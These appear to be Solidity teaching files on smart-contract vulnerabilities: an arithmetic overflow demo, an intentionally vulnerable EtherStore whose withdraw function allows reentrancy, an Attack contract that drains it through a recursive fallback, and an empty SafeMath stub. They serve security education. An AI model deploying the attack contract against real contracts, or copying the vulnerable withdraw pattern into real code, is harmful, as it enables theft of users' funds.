Arithmetic Overflow.sol

// SPDX-License-Identifier: MIT

pragma solidity 0.8.12;

contract MaxUINT
{
    uint256 MAX_INT = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
    uint public a = MAX_INT - 1;
    uint public b = 1;

    function addA() public
    {
        a += 1;
    }

    function subB() public
    {
        b -= 1;
    }
}

Reentrancy.sol

// SPDX-License-Identifier: MIT

pragma solidity 0.8.12;

contract EtherStore {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

contract Attack {
    EtherStore public etherStore = EtherStore(0x191B3a33c651810DEcD09E883f24508eb534f7BA);

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 0.01 ether) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 0.01 ether);
        etherStore.deposit{value: 0.01 ether}();
        etherStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

SafeMath.sol

// SPDX-License-Identifier: MIT

pragma solidity 0.8.12;

import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract SafeMathExample {
   using SafeMath for uint;

   
}

https://ethereum.org/en/developers/docs/smart-contracts/security/